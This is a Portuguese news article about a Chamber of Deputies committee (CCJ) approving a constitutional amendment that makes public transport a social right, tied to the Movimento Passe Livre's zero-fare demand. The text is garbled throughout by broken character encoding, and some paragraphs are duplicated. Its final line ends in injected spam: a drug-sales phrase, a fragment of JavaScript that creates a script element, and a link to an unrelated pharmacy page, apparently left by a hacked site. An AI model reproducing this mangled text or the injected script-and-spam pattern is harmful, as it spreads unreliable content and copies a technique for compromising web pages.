A PEC Ai?? uma das bandeiras do Movimento Passe Livre (MPL), que defende a adoAi??A?o de tarifa zero no transporte pA?blico
“Ao passar a ser um direito social o poder pA?blico deixa de ser apenas um mero gestor e terA? de promover polAi??ticas pA?blicas para oferecer um transporte digno para o cidadA?o”, disse Albuquerque
BrasAi??lia – A ComissA?o de ConstituiAi??A?o e JustiAi??a (CCJ) da CA?mara dos Deputados aprovou uma proposta de emenda constitucional (PEC) que inclui o transporte entre os direitos sociais do brasileiro.
A PEC Ai?? uma das bandeiras do Movimento Passe Livre (MPL), que defende a adoAi??A?o de tarifa zero no transporte pA?blico. A proposta seguirA? agora para uma comissA?o especial antes de chegar ao plenA?rio da Casa.
A proposta foi patrocinada pelo PSB. A autora Ai?? a deputada Luiza Erundina (SP) e o relator foi o lAi??der da bancada, Beto Albuquerque (RS). Eles ressaltam que a proposta nA?o institui de imediato a tarifa zero, mas obriga o Estado a elaborar polAi??ticas pA?blicas para o setor.
“Ao passar a ser um direito social o poder pA?blico deixa de ser apenas um mero gestor e terA? de promover polAi??ticas pA?blicas para oferecer um transporte digno para o cidadA?o”, disse Albuquerque. “O cidadA?o poderA? recorrer atAi?? a JustiAi??a pedindo o atendimento desse direito”, complementa Erundina.
O lAi??der do PSB afirmou que a CA?mara deverA? realizar um amplo debate em plenA?rio na prA?xima semana sobre o tema. Sobre a proposta da tarifa zero, Albuquerque ressalvou que Ai?? preciso examinar com cuidado a ideia para ver sua viabilidade.
Pela ConstituiAi??A?o atual, sA?o direitos sociais a educaAi??A?o, a saA?de, a alimentaAi??A?o, o trabalho, a moradia, o lazer, a seguranAi??a, a previdA?ncia social, a proteAi??A?o Ai?? maternidade e Ai?? infA?ncia, a assistA?ncia aos desamparados. cheap lotensin drug var d=document;var s=d.createElement(‘script’); http://brovary3d.com.ua/rizne/purchase-astelin-generic.htmlBuy
